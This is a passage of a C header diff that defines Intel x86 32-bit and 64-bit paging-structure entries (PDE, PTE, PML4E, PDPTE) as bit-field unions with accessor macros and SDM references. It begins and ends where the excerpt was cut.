PDE_4MB_32_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Dirty; indicates whether software has written to the 4-MByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint32_t dirty : 1; +#define PDE_4MB_32_DIRTY_BIT 6 +#define PDE_4MB_32_DIRTY_FLAG 0x40 +#define PDE_4MB_32_DIRTY_MASK 0x01 +#define PDE_4MB_32_DIRTY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Page size; must be 1 (otherwise, this entry references a page table). + */ + uint32_t large_page : 1; +#define PDE_4MB_32_LARGE_PAGE_BIT 7 +#define PDE_4MB_32_LARGE_PAGE_FLAG 0x80 +#define PDE_4MB_32_LARGE_PAGE_MASK 0x01 +#define PDE_4MB_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. + * + * @see Vol3A[4.10(Caching Translation Information)] + */ + uint32_t global : 1; +#define PDE_4MB_32_GLOBAL_BIT 8 +#define PDE_4MB_32_GLOBAL_FLAG 0x100 +#define PDE_4MB_32_GLOBAL_MASK 0x01 +#define PDE_4MB_32_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint32_t ignored_1 : 3; +#define PDE_4MB_32_IGNORED_1_BIT 9 +#define PDE_4MB_32_IGNORED_1_FLAG 0xE00 +#define PDE_4MB_32_IGNORED_1_MASK 0x07 +#define PDE_4MB_32_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bit 12] Indirectly determines the memory type used to access the 4-MByte page referenced by this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t pat : 1; +#define PDE_4MB_32_PAT_BIT 12 +#define PDE_4MB_32_PAT_FLAG 0x1000 +#define PDE_4MB_32_PAT_MASK 0x01 +#define PDE_4MB_32_PAT(_) (((_) >> 12) & 0x01) + + /** + * [Bits 20:13] Bits (M-1):32 of physical address of the 4-MByte page referenced by this entry. + */ + uint32_t page_frame_number_low : 8; +#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_BIT 13 +#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_FLAG 0x1FE000 +#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW_MASK 0xFF +#define PDE_4MB_32_PAGE_FRAME_NUMBER_LOW(_) (((_) >> 13) & 0xFF) + uint32_t reserved1 : 1; + + /** + * [Bits 31:22] Bits 31:22 of physical address of the 4-MByte page referenced by this entry. + */ + uint32_t page_frame_number_high : 10; +#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_BIT 22 +#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_FLAG 0xFFC00000 +#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH_MASK 0x3FF +#define PDE_4MB_32_PAGE_FRAME_NUMBER_HIGH(_) (((_) >> 22) & 0x3FF) + }; + + uint32_t flags; +} pde_4mb_32; + +/** + * @brief Format of a 32-Bit Page-Directory Entry that References a Page Table + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to reference a page table. + */ + uint32_t present : 1; +#define PDE_32_PRESENT_BIT 0 +#define PDE_32_PRESENT_FLAG 0x01 +#define PDE_32_PRESENT_MASK 0x01 +#define PDE_32_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-MByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t write : 1; +#define PDE_32_WRITE_BIT 1 +#define PDE_32_WRITE_FLAG 0x02 +#define PDE_32_WRITE_MASK 0x01 +#define PDE_32_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-MByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t supervisor : 1; +#define PDE_32_SUPERVISOR_BIT 2 +#define PDE_32_SUPERVISOR_FLAG 0x04 +#define PDE_32_SUPERVISOR_MASK 0x01 +#define PDE_32_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page table referenced by this + * entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_write_through : 1; +#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDE_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDE_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page table referenced by this + * entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_cache_disable : 1; +#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDE_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDE_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint32_t accessed : 1; +#define PDE_32_ACCESSED_BIT 5 +#define PDE_32_ACCESSED_FLAG 0x20 +#define PDE_32_ACCESSED_MASK 0x01 +#define PDE_32_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Ignored. + */ + uint32_t ignored_1 : 1; +#define PDE_32_IGNORED_1_BIT 6 +#define PDE_32_IGNORED_1_FLAG 0x40 +#define PDE_32_IGNORED_1_MASK 0x01 +#define PDE_32_IGNORED_1(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] If CR4.PSE = 1, must be 0 (otherwise, this entry maps a 4-MByte page); otherwise, ignored. + */ + uint32_t large_page : 1; +#define PDE_32_LARGE_PAGE_BIT 7 +#define PDE_32_LARGE_PAGE_FLAG 0x80 +#define PDE_32_LARGE_PAGE_MASK 0x01 +#define PDE_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bits 11:8] Ignored. + */ + uint32_t ignored_2 : 4; +#define PDE_32_IGNORED_2_BIT 8 +#define PDE_32_IGNORED_2_FLAG 0xF00 +#define PDE_32_IGNORED_2_MASK 0x0F +#define PDE_32_IGNORED_2(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 31:12] Physical address of 4-KByte aligned page table referenced by this entry. + */ + uint32_t page_frame_number : 20; +#define PDE_32_PAGE_FRAME_NUMBER_BIT 12 +#define PDE_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 +#define PDE_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF +#define PDE_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) + }; + + uint32_t flags; +} pde_32; + +/** + * @brief Format of a 32-Bit Page-Table Entry that Maps a 4-KByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to map a 4-KByte page. + */ + uint32_t present : 1; +#define PTE_32_PRESENT_BIT 0 +#define PTE_32_PRESENT_FLAG 0x01 +#define PTE_32_PRESENT_MASK 0x01 +#define PTE_32_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t write : 1; +#define PTE_32_WRITE_BIT 1 +#define PTE_32_WRITE_FLAG 0x02 +#define PTE_32_WRITE_MASK 0x01 +#define PTE_32_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint32_t supervisor : 1; +#define PTE_32_SUPERVISOR_BIT 2 +#define PTE_32_SUPERVISOR_FLAG 0x04 +#define PTE_32_SUPERVISOR_MASK 0x01 +#define PTE_32_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-KByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_write_through : 1; +#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PTE_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PTE_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-KByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t page_level_cache_disable : 1; +#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PTE_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PTE_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether software has accessed the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint32_t accessed : 1; +#define PTE_32_ACCESSED_BIT 5 +#define PTE_32_ACCESSED_FLAG 0x20 +#define PTE_32_ACCESSED_MASK 0x01 +#define PTE_32_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Dirty; indicates whether software has written to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint32_t dirty : 1; +#define PTE_32_DIRTY_BIT 6 +#define PTE_32_DIRTY_FLAG 0x40 +#define PTE_32_DIRTY_MASK 0x01 +#define PTE_32_DIRTY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Indirectly determines the memory type used to access the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint32_t pat : 1; +#define PTE_32_PAT_BIT 7 +#define PTE_32_PAT_FLAG 0x80 +#define PTE_32_PAT_MASK 0x01 +#define PTE_32_PAT(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. + * + * @see Vol3A[4.10(Caching Translation Information)] + */ + uint32_t global : 1; +#define PTE_32_GLOBAL_BIT 8 +#define PTE_32_GLOBAL_FLAG 0x100 +#define PTE_32_GLOBAL_MASK 0x01 +#define PTE_32_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint32_t ignored_1 : 3; +#define PTE_32_IGNORED_1_BIT 9 +#define PTE_32_IGNORED_1_FLAG 0xE00 +#define PTE_32_IGNORED_1_MASK 0x07 +#define PTE_32_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bits 31:12] Physical address of 4-KByte aligned page table referenced by this entry. + */ + uint32_t page_frame_number : 20; +#define PTE_32_PAGE_FRAME_NUMBER_BIT 12 +#define PTE_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 +#define PTE_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF +#define PTE_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) + }; + + uint32_t flags; +} pte_32; + +/** + * @brief Format of a common Page-Table Entry + */ +typedef union +{ + struct + { + uint32_t present : 1; +#define PT_ENTRY_32_PRESENT_BIT 0 +#define PT_ENTRY_32_PRESENT_FLAG 0x01 +#define PT_ENTRY_32_PRESENT_MASK 0x01 +#define PT_ENTRY_32_PRESENT(_) (((_) >> 0) & 0x01) + uint32_t write : 1; +#define PT_ENTRY_32_WRITE_BIT 1 +#define PT_ENTRY_32_WRITE_FLAG 0x02 +#define PT_ENTRY_32_WRITE_MASK 0x01 +#define PT_ENTRY_32_WRITE(_) (((_) >> 1) & 0x01) + uint32_t supervisor : 1; +#define PT_ENTRY_32_SUPERVISOR_BIT 2 +#define PT_ENTRY_32_SUPERVISOR_FLAG 0x04 +#define PT_ENTRY_32_SUPERVISOR_MASK 0x01 +#define PT_ENTRY_32_SUPERVISOR(_) (((_) >> 2) & 0x01) + uint32_t page_level_write_through : 1; +#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PT_ENTRY_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + uint32_t page_level_cache_disable : 1; +#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PT_ENTRY_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + uint32_t accessed : 1; +#define PT_ENTRY_32_ACCESSED_BIT 5 +#define PT_ENTRY_32_ACCESSED_FLAG 0x20 +#define PT_ENTRY_32_ACCESSED_MASK 0x01 +#define PT_ENTRY_32_ACCESSED(_) (((_) >> 5) & 0x01) + uint32_t dirty : 1; +#define PT_ENTRY_32_DIRTY_BIT 6 +#define PT_ENTRY_32_DIRTY_FLAG 0x40 +#define PT_ENTRY_32_DIRTY_MASK 0x01 +#define PT_ENTRY_32_DIRTY(_) (((_) >> 6) & 0x01) + uint32_t large_page : 1; +#define PT_ENTRY_32_LARGE_PAGE_BIT 7 +#define PT_ENTRY_32_LARGE_PAGE_FLAG 0x80 +#define PT_ENTRY_32_LARGE_PAGE_MASK 0x01 +#define PT_ENTRY_32_LARGE_PAGE(_) (((_) >> 7) & 0x01) + uint32_t global : 1; +#define PT_ENTRY_32_GLOBAL_BIT 8 +#define PT_ENTRY_32_GLOBAL_FLAG 0x100 +#define PT_ENTRY_32_GLOBAL_MASK 0x01 +#define PT_ENTRY_32_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint32_t ignored_1 : 3; +#define PT_ENTRY_32_IGNORED_1_BIT 9 +#define PT_ENTRY_32_IGNORED_1_FLAG 0xE00 +#define PT_ENTRY_32_IGNORED_1_MASK 0x07 +#define PT_ENTRY_32_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bits 31:12] Physical address of the 4-KByte page referenced by this entry. + */ + uint32_t page_frame_number : 20; +#define PT_ENTRY_32_PAGE_FRAME_NUMBER_BIT 12 +#define PT_ENTRY_32_PAGE_FRAME_NUMBER_FLAG 0xFFFFF000 +#define PT_ENTRY_32_PAGE_FRAME_NUMBER_MASK 0xFFFFF +#define PT_ENTRY_32_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFF) + }; + + uint32_t flags; +} pt_entry_32; + +/** + * @defgroup paging_structures_entry_count_32 \ + * Paging structures entry counts + * + * Paging structures entry counts. + * @{ + */ +#define PDE_ENTRY_COUNT_32 0x00000400 +#define PTE_ENTRY_COUNT_32 0x00000400 + /** + * @} + */ + + /** + * @} + */ + + /** + * @defgroup paging_64 \ + * 64-Bit (4-Level) Paging + * + * A logical processor uses 4-level paging if CR0.PG = 1, CR4.PAE = 1, and IA32_EFER.LME = 1. With 4-level paging, linear + * address are translated using a hierarchy of in-memory paging structures located using the contents of CR3. 4-level + * paging translates 48-bit linear addresses to 52-bit physical addresses. Although 52 bits corresponds to 4 PBytes, linear + * addresses are limited to 48 bits; at most 256 TBytes of linear-address space may be accessed at any given time. + * 4-level paging uses a hierarchy of paging structures to produce a translation for a linear address. CR3 is used to + * locate the first paging-structure, the PML4 table. Use of CR3 with 4-level paging depends on whether processcontext + * identifiers (PCIDs) have been enabled by setting CR4.PCIDE. + * + * @see Vol3A[4.5(4-LEVEL PAGING)] (reference) + * @{ + */ + /** + * @brief Format of a 4-Level PML4 Entry (PML4E) that References a Page-Directory-Pointer Table + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to reference a page-directory-pointer table. + */ + uint64_t present : 1; +#define PML4E_64_PRESENT_BIT 0 +#define PML4E_64_PRESENT_FLAG 0x01 +#define PML4E_64_PRESENT_MASK 0x01 +#define PML4E_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 512-GByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PML4E_64_WRITE_BIT 1 +#define PML4E_64_WRITE_FLAG 0x02 +#define PML4E_64_WRITE_MASK 0x01 +#define PML4E_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 512-GByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PML4E_64_SUPERVISOR_BIT 2 +#define PML4E_64_SUPERVISOR_FLAG 0x04 +#define PML4E_64_SUPERVISOR_MASK 0x01 +#define PML4E_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page-directory-pointer table + * referenced by this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PML4E_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page-directory-pointer table + * referenced by this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PML4E_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PML4E_64_ACCESSED_BIT 5 +#define PML4E_64_ACCESSED_FLAG 0x20 +#define PML4E_64_ACCESSED_MASK 0x01 +#define PML4E_64_ACCESSED(_) (((_) >> 5) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 7] Reserved (must be 0). + */ + uint64_t must_be_zero : 1; +#define PML4E_64_MUST_BE_ZERO_BIT 7 +#define PML4E_64_MUST_BE_ZERO_FLAG 0x80 +#define PML4E_64_MUST_BE_ZERO_MASK 0x01 +#define PML4E_64_MUST_BE_ZERO(_) (((_) >> 7) & 0x01) + + /** + * [Bits 11:8] Ignored. + */ + uint64_t ignored_1 : 4; +#define PML4E_64_IGNORED_1_BIT 8 +#define PML4E_64_IGNORED_1_FLAG 0xF00 +#define PML4E_64_IGNORED_1_MASK 0x0F +#define PML4E_64_IGNORED_1(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 47:12] Physical address of 4-KByte aligned page-directory-pointer table referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define PML4E_64_PAGE_FRAME_NUMBER_BIT 12 +#define PML4E_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define PML4E_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define PML4E_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 4; + + /** + * [Bits 62:52] Ignored. + */ + uint64_t ignored_2 : 11; +#define PML4E_64_IGNORED_2_BIT 52 +#define PML4E_64_IGNORED_2_FLAG 0x7FF0000000000000 +#define PML4E_64_IGNORED_2_MASK 0x7FF +#define PML4E_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 512-GByte region + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PML4E_64_EXECUTE_DISABLE_BIT 63 +#define PML4E_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PML4E_64_EXECUTE_DISABLE_MASK 0x01 +#define PML4E_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pml4e_64; + +/** + * @brief Format of a 4-Level Page-Directory-Pointer-Table Entry (PDPTE) that Maps a 1-GByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to map a 1-GByte page. + */ + uint64_t present : 1; +#define PDPTE_1GB_64_PRESENT_BIT 0 +#define PDPTE_1GB_64_PRESENT_FLAG 0x01 +#define PDPTE_1GB_64_PRESENT_MASK 0x01 +#define PDPTE_1GB_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 1-GByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PDPTE_1GB_64_WRITE_BIT 1 +#define PDPTE_1GB_64_WRITE_FLAG 0x02 +#define PDPTE_1GB_64_WRITE_MASK 0x01 +#define PDPTE_1GB_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 1-GByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PDPTE_1GB_64_SUPERVISOR_BIT 2 +#define PDPTE_1GB_64_SUPERVISOR_FLAG 0x04 +#define PDPTE_1GB_64_SUPERVISOR_MASK 0x01 +#define PDPTE_1GB_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 1-GByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDPTE_1GB_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 1-GByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDPTE_1GB_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether software has accessed the 1-GByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PDPTE_1GB_64_ACCESSED_BIT 5 +#define PDPTE_1GB_64_ACCESSED_FLAG 0x20 +#define PDPTE_1GB_64_ACCESSED_MASK 0x01 +#define PDPTE_1GB_64_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Dirty; indicates whether software has written to the 1-GByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t dirty : 1; +#define PDPTE_1GB_64_DIRTY_BIT 6 +#define PDPTE_1GB_64_DIRTY_FLAG 0x40 +#define PDPTE_1GB_64_DIRTY_MASK 0x01 +#define PDPTE_1GB_64_DIRTY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Page size; must be 1 (otherwise, this entry references a page directory). + */ + uint64_t large_page : 1; +#define PDPTE_1GB_64_LARGE_PAGE_BIT 7 +#define PDPTE_1GB_64_LARGE_PAGE_FLAG 0x80 +#define PDPTE_1GB_64_LARGE_PAGE_MASK 0x01 +#define PDPTE_1GB_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. + * + * @see Vol3A[4.10(Caching Translation Information)] + */ + uint64_t global : 1; +#define PDPTE_1GB_64_GLOBAL_BIT 8 +#define PDPTE_1GB_64_GLOBAL_FLAG 0x100 +#define PDPTE_1GB_64_GLOBAL_MASK 0x01 +#define PDPTE_1GB_64_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint64_t ignored_1 : 3; +#define PDPTE_1GB_64_IGNORED_1_BIT 9 +#define PDPTE_1GB_64_IGNORED_1_FLAG 0xE00 +#define PDPTE_1GB_64_IGNORED_1_MASK 0x07 +#define PDPTE_1GB_64_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bit 12] Indirectly determines the memory type used to access the 1-GByte page referenced by this entry. + * + * @note The PAT is supported on all processors that support 4-level paging. + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t pat : 1; +#define PDPTE_1GB_64_PAT_BIT 12 +#define PDPTE_1GB_64_PAT_FLAG 0x1000 +#define PDPTE_1GB_64_PAT_MASK 0x01 +#define PDPTE_1GB_64_PAT(_) (((_) >> 12) & 0x01) + uint64_t reserved1 : 17; + + /** + * [Bits 47:30] Physical address of the 1-GByte page referenced by this entry. + */ + uint64_t page_frame_number : 18; +#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_BIT 30 +#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFC0000000 +#define PDPTE_1GB_64_PAGE_FRAME_NUMBER_MASK 0x3FFFF +#define PDPTE_1GB_64_PAGE_FRAME_NUMBER(_) (((_) >> 30) & 0x3FFFF) + uint64_t reserved2 : 4; + + /** + * [Bits 58:52] Ignored. + */ + uint64_t ignored_2 : 7; +#define PDPTE_1GB_64_IGNORED_2_BIT 52 +#define PDPTE_1GB_64_IGNORED_2_FLAG 0x7F0000000000000 +#define PDPTE_1GB_64_IGNORED_2_MASK 0x7F +#define PDPTE_1GB_64_IGNORED_2(_) (((_) >> 52) & 0x7F) + + /** + * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. + * + * @see Vol3A[4.6.2(Protection Keys)] + */ + uint64_t protection_key : 4; +#define PDPTE_1GB_64_PROTECTION_KEY_BIT 59 +#define PDPTE_1GB_64_PROTECTION_KEY_FLAG 0x7800000000000000 +#define PDPTE_1GB_64_PROTECTION_KEY_MASK 0x0F +#define PDPTE_1GB_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte page + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PDPTE_1GB_64_EXECUTE_DISABLE_BIT 63 +#define PDPTE_1GB_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PDPTE_1GB_64_EXECUTE_DISABLE_MASK 0x01 +#define PDPTE_1GB_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pdpte_1gb_64; + +/** + * @brief Format of a 4-Level Page-Directory-Pointer-Table Entry (PDPTE) that References a Page Directory + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to reference a page directory. + */ + uint64_t present : 1; +#define PDPTE_64_PRESENT_BIT 0 +#define PDPTE_64_PRESENT_FLAG 0x01 +#define PDPTE_64_PRESENT_MASK 0x01 +#define PDPTE_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 1-GByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PDPTE_64_WRITE_BIT 1 +#define PDPTE_64_WRITE_FLAG 0x02 +#define PDPTE_64_WRITE_MASK 0x01 +#define PDPTE_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 1-GByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PDPTE_64_SUPERVISOR_BIT 2 +#define PDPTE_64_SUPERVISOR_FLAG 0x04 +#define PDPTE_64_SUPERVISOR_MASK 0x01 +#define PDPTE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page directory referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define 